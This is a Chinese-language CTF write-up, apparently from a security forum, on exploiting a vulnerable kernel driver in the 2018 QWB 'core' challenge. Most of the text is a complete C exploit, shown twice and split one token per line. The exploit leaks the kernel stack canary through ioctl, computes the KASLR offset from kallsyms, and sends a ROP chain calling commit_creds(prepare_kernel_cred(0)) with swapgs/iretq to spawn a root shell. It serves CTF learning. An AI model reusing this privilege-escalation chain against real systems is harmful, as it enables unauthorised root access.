-
-
Linux kernel pwn (一):ROP&&ret2usr
-
发表于: 2020-10-15 08:54 8414
-
国庆中秋八天假,除了出招新题和做软件工程的一个开发小demo,啥技术都没学到(效率不够呀,555)。
这是博文是我根据2018年强网杯的core题的利用姿势学习记录的,由于内核pwn相对于用户态的pwn来说复杂很多,而网上记载入门的博客都比较简略(或者说是我太菜看不懂),所以这篇博文我会尽可能详细地记录,有错误的点希望师傅们斧正。
部分内核pwn入门基础可见我的这一篇博文
与用户态的pwn不一样,内核pwn的漏洞一般是出现在驱动中,简单地说,驱动程序是一个内核程序,它驱动与之关联的特定设备。内核驱动模块运行时的权限是root权限,因此我们将有机会借此拿到root权限的shell。不同于用户态的pwn,kernel pwn不再是用python远程链接打payload拿shell,而是给你一个环境包,下载后qemu本地起系统,flag文件就在这个虚拟系统里面,权限是root,因此拿flag的过程也是选手在自己的环境里完成,exploit往往也是C编写。所以,我们一般是写c程序去调用有漏洞的内核驱动,以便去拿到root权限。
首先介绍一下proc文件系统,proc文件系统是一个虚拟文件系统,里面有许多的虚拟文件,创建一个proc虚拟文件,应用层通过读写该文件,即可实现与内核的交互。
而创建方法也就是proc_create函数;
name就是要创建的文件名,mode是文件的访问权限,以UGO的模式表示,parent与proc_mkdir中的parent类似,也是父文件夹的proc_dir_entry对象。proc_fops就是该文件的操作函数了。
这里最重要的应该是我们的第三个参数fop,也就是file_operations。这里会涉及到内核中文件系统的一些东西,笔者目前也还没有学习,这里大致说一下我自己的理解:这个结构体就是定义了我们利用上面的那个proc_create创建的结构体时可以调用的函数,用于用户态与内核态的交流,譬如本例题定义的proc_create("core", 438LL, 0LL, &core_fops),在我们的core_fops中定义了core_write函数,所以我们便可以利用open函数打开core这个文件:int fd = open("/proc/core", O_RDWR);然后利用write(fd, rop_chain, 0X800)调用core_write函数。
以本题为例,给了bzImage:kernel映像;
core.cpio:文件系统映像;
start.sh:一个用于启动 kernel 的 shell 的脚本,多用qemu;
vmlinux:类比成用户态pwn中的libc文件。
解压core.cpio之后core目录里也有个vmlinux,调试时用core目录的vmlinux。
关于bzImage与vmlinux的区别,详细可以参见该文章。简单来说,bzImage是压缩过的镜像,而 vmlinux是未经压缩的镜像,也就是说我们可以从 vmlinux 中找到一些 gadget。如果题目没有给 vmlinux,可以通过extract-vmlinux, 提取命令:./extract-vmlinux ./bzImage > vmlinux。
关于start.sh,是QEMU的启动脚本。一般里面会设置内核的保护机制以及相关参数的设置,这里并没有开启SMEP(是ret2user利用的基础)。对于本题,需要将该文件中第二行的-m 64M改成-m 128M,不然内存不够用启动不了。
关于core.cpio的解压,可以参考一下:
其实也可以在ubantu双击即可解压。
对于本例,解压后的文件夹中有个有一个init文件,用于启动内核后初始化,查看一下:
这里简单说一下如何设置off的值,从而leak出canary。一开始我的想法是根据ida中显示的偏移决定我们的off值
可以看到,在ida中,v5是设置在我们的rbp-0x50,所以rbp-0x48的位置应该就是我们的canary。但是,像大家所说的,ida中的显示有时候是会有bug的,经过实际调试,我发现实际偏移并不是0x48
从这里看出我们的canary的实际偏移是0x40,当我们写个POC先把我们的off值设置为0x40,然后调用core_read函数(要现在gdb调试,设置断点在我们的core_read函数),然后单步步入到我们copy_to_user函数,即验证我们成功leak出canary了
上面EXP中leak canary的时候,设置off为0x40。
这里的基地址包括内核的基地址以及我们的core这个驱动的基地址
关于内核基地址的寻找上面已经说明,而对于驱动的加载地址,可以直接在我们/tmp/kallsyms查询即可。
通过 swapgs 恢复 GS 值
通过iretq 恢复各寄存器值到用户态,参考 4a6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3W2C8k6g2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3K9i4c8W2L8g2)9J5c8X3W2J5k6i4c8Q4x3V1j5I4x3K6p5@1x3U0j5^5i4K6y4r3k6Y4u0Q4x3@1c8S2L8r3q4V1k6r3W2F1
会按照 rip、cs、标志寄存器、rsp、ss的顺序将各寄存器值从栈中弹出来。
其中,rip的值,可以直接用我们EXP中写好的跑shell的地址,这样回到用户态后就直接跑shell了
而cs、标志寄存器、rsp、ss都需要合法的值,因此可以在EXP中先将当前用户态的值保存下来,在ROP链中直接用这些值就可以了:
先要构造commit_creds(prepare_kernel_cred(0))提权,然后将用户态的寄存器给赋合法值。
这里先说一下ret2user的原理:
ret2usr 攻击利用了在没有开启SMEP(管理模式执行保护)的情况下,内核态CPU是可以访问执行用户空间的代码的。
用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作。
这个方法其实跟上面所说的ROP基本没有区别,最根本的区别就是把上面所需要rop构造出来的提权过程commit_creds(prepare_kernel_cred(0))直接写了一个函数,从而不需要rop调用,直接调用函数即可。
最终EXP:
这是我入门Linux kernel pwn的一道题,所以这里尽可能详细的记录下来。虽然这道题很简单,但是自己也花了好几天去磕,但是感觉真的是受益匪浅吧!之前就说过,目前的学习方向是iot,但是实际上,现在还没有学多少内容。所以,现在的计划是,尽量在这两周学完内核pwn的几个姿势,应该还有UAF,Double fetch等。然后接下来就是把重心放回到iot研究上,顺带还会学堆的骚操作(看最近几个比赛的WP,发现堆真的好多骚操作,好想去学),然后还会学习操作系统,以及数据库和密码学等课堂知识
害,总之就是想学的东西很多,但是自己的效率不高。所以说,目前的重点是要提高自己的效率!
b85K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4l9@1L8X3c8S2i4K6u0W2N6r3!0H3i4K6u0r3x3U0l9I4z5q4)9J5c8U0l9%4i4K6u0r3x3e0y4Q4x3V1k6U0K9i4y4U0L8U0t1H3x3e0S2Q4x3X3c8U0L8%4u0W2i4K6u0r3
a01K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3k6i4u0A6N6r3q4K6y4e0l9I4i4K6u0W2M7%4m8S2j5$3g2Q4x3V1j5J5x3o6p5^5i4K6u0r3x3o6k6Q4x3V1j5H3y4g2)9J5c8Y4q4%4j5U0t1H3x3e0S2Q4x3U0f1J5x3r3y4G2M7X3g2Q4x3V1j5`.
https://bbs.pediy.com/thread-247054.htm
9adK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0W2k6$3W2@1K9s2g2T1i4K6u0W2K9h3!0Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0r3M7s2N6F1i4K6u0r3L8r3W2F1N6i4S2Q4x3V1k6C8k6i4u0F1k6h3I4Q4x3V1k6C8k6i4u0F1k6h3I4Q4y4h3k6J5L8%4m8Q4x3X3c8*7K9q4)9J5c8W2)9J5x3$3N6W2N6q4)9J5k6s2u0G2L8%4c8Q4x3X3c8K6K9r3g2D9L8l9`.`.
5ecK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2K6N6h3&6^5K9h3q4G2K9$3!0F1k6#2)9J5k6i4S2&6P5W2)9J5c8U0t1H3x3U0m8Q4x3X3b7H3x3W2)9J5k6o6l9&6i4K6u0r3L8s2A6^5i4K6u0V1M7i4N6T1x3U0l9I4z5q4)9J5k6r3y4G2M7X3g2Q4x3V1k6Q4x3U0y4Q4x3U0g2q4z5g2)9J5y4f1p5&6i4K6t1#2b7U0q4Q4x3U0g2q4y4g2)9J5y4e0S2m8i4K6t1#2b7e0S2Q4x3U0g2q4y4g2)9J5y4e0R3^5i4K6t1#2z5o6k6Q4x3U0g2q4y4W2)9J5y4e0W2q4i4K6t1#2z5e0l9`.
db8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2B7K9h3q4F1M7$3S2#2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8U0S2V1z5e0f1H3j5e0W2V1z5o6V1%4y4l9`.`.
53dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2S2L8Y4q4#2j5h3&6C8k6g2)9J5k6h3y4G2L8g2)9J5c8Y4m8G2M7%4c8Q4x3V1k6A6k6q4)9J5c8U0p5%4x3U0t1I4y4W2)9J5x3$3R3K6i4K6u0V1x3e0b7`.
8cdK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2S2L8Y4q4#2j5h3&6C8k6g2)9J5k6h3y4G2L8g2)9J5c8Y4m8G2M7%4c8Q4x3V1k6A6k6q4)9J5c8U0t1H3x3e0l9@1x3#2)9J5x3$3R3K6i4K6u0V1y4R3`.`.
static inline struct proc_dir_entry
*
proc_create(const char
*
name, mode_t mode,struct proc_dir_entry
*
parent, const struct file_operations
*
proc_fops)。
static inline struct proc_dir_entry
*
proc_create(const char
*
name, mode_t mode,struct proc_dir_entry
*
parent, const struct file_operations
*
proc_fops)。
qemu
-
system
-
x86_64 \
-
m
64M
\
-
kernel .
/
bzImage \
-
initrd .
/
core.cpio \
-
append
"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
\
-
s \
-
netdev user,
id
=
t0,
-
device e1000,netdev
=
t0,
id
=
nic0 \
-
nographic \
qemu
-
system
-
x86_64 \
-
m
64M
\
-
kernel .
/
bzImage \
-
initrd .
/
core.cpio \
-
append
"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
\
-
s \
-
netdev user,
id
=
t0,
-
device e1000,netdev
=
t0,
id
=
nic0 \
-
nographic \
mkdir
file
cp .
/
core.cpio .
/
file
/
core.cpio.gz
cd
file
gunzip .
/
core.cpio.gz
cpio
-
idmv < .
/
core.cpio
mkdir
file
cp .
/
core.cpio .
/
file
/
core.cpio.gz
cd
file
gunzip .
/
core.cpio.gz
cpio
-
idmv < .
/
core.cpio
#!/bin/sh
mount
-
t proc proc
/
proc
mount
-
t sysfs sysfs
/
sys
mount
-
t devtmpfs none
/
dev
/
sbin
/
mdev
-
s
mkdir
-
p
/
dev
/
pts
mount
-
vt devpts
-
o gid
=
4
,mode
=
620
none
/
dev
/
pts
chmod
666
/
dev
/
ptmx
cat
/
proc
/
kallsyms >
/
tmp
/
kallsyms
echo
1
>
/
proc
/
sys
/
kernel
/
kptr_restrict
echo
1
>
/
proc
/
sys
/
kernel
/
dmesg_restrict
ifconfig eth0 up
udhcpc
-
i eth0
ifconfig eth0
10.0
.
2.15
netmask
255.255
.
255.0
route add default gw
10.0
.
2.2
insmod
/
core.ko
poweroff
-
d
120
-
f &
setsid
/
bin
/
cttyhack setuidgid
1000
/
bin
/
sh
echo
'sh end!\n'
umount
/
proc
umount
/
sys
poweroff
-
d
0
-
f
#!/bin/sh
mount
-
t proc proc
/
proc
mount
-
t sysfs sysfs
/
sys
mount
-
t devtmpfs none
/
dev
/
sbin
/
mdev
-
s
mkdir
-
p
/
dev
/
pts
mount
-
vt devpts
-
o gid
=
4
,mode
=
620
none
/
dev
/
pts
chmod
666
/
dev
/
ptmx
cat
/
proc
/
kallsyms >
/
tmp
/
kallsyms
echo
1
>
/
proc
/
sys
/
kernel
/
kptr_restrict
echo
1
>
/
proc
/
sys
/
kernel
/
dmesg_restrict
ifconfig eth0 up
udhcpc
-
i eth0
ifconfig eth0
10.0
.
2.15
netmask
255.255
.
255.0
route add default gw
10.0
.
2.2
insmod
/
core.ko
poweroff
-
d
120
-
f &
setsid
/
bin
/
cttyhack setuidgid
1000
/
bin
/
sh
echo
'sh end!\n'
umount
/
proc
umount
/
sys
poweroff
-
d
0
-
f
ROPgadget
-
-
binary .
/
vmlinux > gadget
#把可用的gadget取进我们的gadget文件
ropper
-
-
file
.
/
vmlinux
-
-
nocolor > gadget
#把可用的gadget 取进我们的gadget文件
然后再可以用grep筛选我们希望的gadget
ROPgadget
-
-
binary .
/
vmlinux > gadget
#把可用的gadget取进我们的gadget文件
ropper
-
-
file
.
/
vmlinux
-
-
nocolor > gadget
#把可用的gadget 取进我们的gadget文件
然后再可以用grep筛选我们希望的gadget
from
pwn
import
*
elf
=
ELF(
'./core/vmlinux'
)
print
"commit_creds"
,
hex
(elf.symbols[
'commit_creds'
]
-
0xffffffff81000000
)
print
"prepare_kernel_cred"
,
hex
(elf.symbols[
'prepare_kernel_cred'
]
-
0xffffffff81000000
)
from
pwn
import
*
elf
=
ELF(
'./core/vmlinux'
)
print
"commit_creds"
,
hex
(elf.symbols[
'commit_creds'
]
-
0xffffffff81000000
)
print
"prepare_kernel_cred"
,
hex
(elf.symbols[
'prepare_kernel_cred'
]
-
0xffffffff81000000
)
/
/
sunxiaokong
/
/
gcc
-
static
-
masm
=
intel
-
g
-
o my_exp my_exp.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define INS_SET_OFF 0x6677889C
#define INS_READ 0x6677889B
#define INS_COPY_FUNC 0x6677889A
int
get_kernel_addr();
void get_usr_regs();
void shell();
size_t canary
=
0
;
/
/
value of canary
size_t commit_creds
=
0
, prepare_kernel_cred
=
0
;
/
/
kernel function addr
size_t off;
/
/
offset of kaslr
size_t vmlinux_base;
/
/
base addr of vmlinux
size_t rop_chain[
100
]
=
{
0
};
/
/
rop chain
size_t usr_cs, usr_ss, usr_rsp, usr_rflags;
/
/
registers of user mode
int
main(){
get_usr_regs();
get_kernel_addr();
int
fd
=
open
(
"/proc/core"
, O_RDWR);
if
(fd <
0
){
puts(
"[T.T] open file error !!!"
);
exit(
0
);
}
ioctl(fd, INS_SET_OFF,
0x40
);
/
/
set
off to
0x40
char
*
buf_leak
=
(char
*
)malloc(
0x40
);
/
/
buffer
of leak data
ioctl(fd, INS_READ, buf_leak);
/
/
leak canary
in
kernel
-
stack
canary
=
*
(size_t
*
)buf_leak;
printf(
"[^.^] canary : 0x%lx\n"
, canary);
int
i;
for
(i
=
0
; i<
10
; i
+
+
){
rop_chain[i]
=
canary;
}
rop_chain[i
+
+
]
=
0xffffffff81000b2f
+
off;
/
/
pop rdi ; ret
rop_chain[i
+
+
]
=
0
;
rop_chain[i
+
+
]
=
prepare_kernel_cred;
/
/
prepare_kernel_cred(
0
)
rop_chain[i
+
+
]
=
0xffffffff810a0f49
+
off;
/
/
pop rdx ; ret
rop_chain[i
+
+
]
=
commit_creds;
rop_chain[i
+
+
]
=
0xffffffff8106a6d2
+
off;
/
/
mov rdi, rax ; jmp rdx
rop_chain[i
+
+
]
=
0xffffffff81a012da
+
off;
/
/
swapgs ; popfq ; ret
rop_chain[i
+
+
]
=
0
;
rop_chain[i
+
+
]
=
0xffffffff81050ac2
+
off;
/
/
iretq; ret;
rop_chain[i
+
+
]
=
(size_t)shell;
/
/
rip
rop_chain[i
+
+
]
=
usr_cs;
/
/
cs
rop_chain[i
+
+
]
=
usr_rflags;
/
/
rflags
rop_chain[i
+
+
]
=
usr_rsp;
/
/
rsp
rop_chain[i
+
+
]
=
usr_ss;
/
/
ss
write(fd, rop_chain,
0X800
);
/
/
write payload to
"name"
ioctl(fd, INS_COPY_FUNC,
0xffffffffffff0000
| (
0x100
));
/
/
stack overflow
}
/
*
read symbols addr
in
/
tmp
/
kallsyms
and
calc the vmlinux base
*
/
int
get_kernel_addr(){
char
*
buf
=
(char
*
)malloc(
0x50
);
FILE
*
kallsyms
=
fopen(
"/tmp/kallsyms"
,
"r"
);
while
(fgets(buf,
0x50
, kallsyms)){
/
/
fgets:read one line at one time
if
(strstr(buf,
"prepare_kernel_cred"
)){
sscanf(buf,
"%lx"
, &prepare_kernel_cred);
printf(
"[^.^] prepare_kernel_cred : 0x%lx\n"
, prepare_kernel_cred);
}
if
(strstr(buf,
"commit_creds"
)){
sscanf(buf,
"%lx"
, &commit_creds);
printf(
"[^.^] commit_creds : 0x%lx\n"
, commit_creds);
off
=
commit_creds
-
0xffffffff8109c8e0
;
vmlinux_base
=
0xffffffff81000000
+
off;
printf(
"[^.^] offset : 0x%lx\n"
, off);
printf(
"[^.^] vmlinux base : 0x%lx\n"
, vmlinux_base);
}
if
(commit_creds && prepare_kernel_cred){
return
0
;
}
}
}
/
*
save some regs of user mode
*
/
void get_usr_regs(){
__asm__(
"mov usr_cs, cs;"
"mov usr_ss, ss;"
"mov usr_rsp, rsp;"
"pushfq;"
"pop usr_rflags;"
);
printf(
"[^.^] save regs of user mode, done !!!\n"
);
}
/
*
run a root shell
*
/
void shell(){
if
(!getuid())
{
system(
"/bin/sh"
);
}
else
{
puts(
"[T.T] privilege escalation failed !!!"
);
}
exit(
0
);
}
/
*
ROPgadget
-
-
binary
"./vmlinux"
-
-
only
"pop|ret"
| grep rdi
0xffffffff81000b2f
: pop rdi ; ret
ROPgadget
-
-
binary .
/
vmlinux
-
-
only
"mov|jmp"
| grep
"mov rdi, rax"
0xffffffff8106a6d2
: mov rdi, rax ; jmp rdx
ROPgadget
-
-
binary
"./vmlinux"
-
-
only
"pop|ret"
| grep rdx
0xffffffff810a0f49
: pop rdx ; ret
ROPgadget
-
-
binary .
/
vmlinux | grep swapgs
0xffffffff81a012da
: swapgs ; popfq ; ret
ropper
-
f .
/
vmlinux > .
/
gadget.txt
cat .
/
gadget.txt | grep iretq
0xffffffff81050ac2
: iretq; ret;
*
/
/
/
sunxiaokong
/
/
gcc
-
static
-
masm
=
intel
-
g
-
o my_exp my_exp.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define INS_SET_OFF 0x6677889C
#define INS_READ 0x6677889B
#define INS_COPY_FUNC 0x6677889A
int
get_kernel_addr();
void get_usr_regs();
void shell();
size_t canary
=
0
;
/
/
value of canary
size_t commit_creds
=
0
, prepare_kernel_cred
=
0
;
/
/
kernel function addr
size_t off;
/
/
offset of kaslr
size_t vmlinux_base;
/
/
base addr of vmlinux
size_t rop_chain[
100
]
=
{
0
};
/
/
rop chain
size_t usr_cs, usr_ss, usr_rsp, usr_rflags;
/
/
registers of user mode
int
main(){
get_usr_regs();
get_kernel_addr();
int
fd
=
open
(
"/proc/core"
, O_RDWR);
if
(fd <
0
){
puts(
"[T.T] open file error !!!"
);
exit(
0
);
}
ioctl(fd, INS_SET_OFF,
0x40
);
/
/
set
off to
0x40
char
*
buf_leak
=
(char
*
)malloc(
0x40
);
/
/
buffer
of leak data
ioctl(fd, INS_READ, buf_leak);
/
/
leak canary
in
kernel
-
stack
canary
=
*
(size_t
*
)buf_leak;
printf(
"[^.^] canary : 0x%lx\n"
, canary);
int
i;
for
(i
=
0
; i<
10
; i
+
+
){
rop_chain[i]
=
canary;
}
rop_chain[i
+
+
]
=
0xffffffff81000b2f
+
off;
/
/
pop rdi ; ret
rop_chain[i
+
+
]
=
0
;
rop_chain[i
+
+
]
=
prepare_kernel_cred;
/
/
prepare_kernel_cred(
0
)
rop_chain[i
+
+
]
=
0xffffffff810a0f49
+
off;
/
/
pop rdx ; ret
rop_chain[i
+
+
]
=
commit_creds;
rop_chain[i
+
+
]
=
0xffffffff8106a6d2
+
off;
/
/
mov rdi, rax ; jmp rdx
rop_chain[i
+
+
]
=
0xffffffff81a012da
+
off;
/
/
swapgs ; popfq ; ret
rop_chain[i
+
+
]
=
0
;
rop_chain[i
+
+
]
=
0xffffffff81050ac2
+
off;
/
/
iretq; ret;
rop_chain[i
+
+
]
=
(size_t)shell;
/
/
rip
rop_chain[i
+
+
]
=
usr_cs;
/
/
cs
rop_chain[i
+
+
]
=
usr_rflags;
/
/
rflags
rop_chain[i
+
+
]
=
usr_rsp;
/
/
rsp
rop_chain[i
+
+
]
=
usr_ss;
/
/
ss
write(fd, rop_chain,
0X800
);
/
/
write payload to
"name"
ioctl(fd, INS_COPY_FUNC,
0xffffffffffff0000
| (
0x100
));
/
/
stack overflow
}
/
*
read symbols addr
in
/
tmp
/
kallsyms
and
calc the vmlinux base
*
/
int
get_kernel_addr(){
char
*
buf
=
(char
*
)malloc(
0x50
);
FILE
*
kallsyms
=
fopen(
"/tmp/kallsyms"
,
"r"
);
while
(fgets(buf,
0x50
, kallsyms)){
/
/
fgets:read one line at one time
if
(strstr(buf,
"prepare_kernel_cred"
)){
sscanf(buf,
"%lx"
, &prepare_kernel_cred);
printf(
"[^.^] prepare_kernel_cred : 0x%lx\n"
, prepare_kernel_cred);
}
if
(strstr(buf,
"commit_creds"
)){
sscanf(buf,
"%lx"
, &commit_creds);
printf(
"[^.^] commit_creds : 0x%lx\n"
, commit_creds);
off
=
commit_creds
-
0xffffffff8109c8e0
;
vmlinux_base
=
0xffffffff81000000
+
off;
printf(
"[^.^] offset : 0x%lx\n"
, off);
printf(
"[^.^] vmlinux base : 0x%lx\n"
, vmlinux_base);
}
if
(commit_creds && prepare_kernel_cred){
return
0
;
}
}
}
/
*
save some regs of user mode
*
/
void get_usr_regs(){
__asm__(
"mov usr_cs, cs;"
"mov usr_ss, ss;"
"mov usr_rsp, rsp;"
"pushfq;"
"pop usr_rflags;"
);
printf(
"[^.^] save regs of user mode, done !!!\n"
);
}
/
*
run a root shell
*
/
void shell(){
if
(!getuid())
{
system(
"/bin/sh"
);
}
else
{
puts(
"[T.T] privilege escalation failed !!!"
);
}
exit(
0
);
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课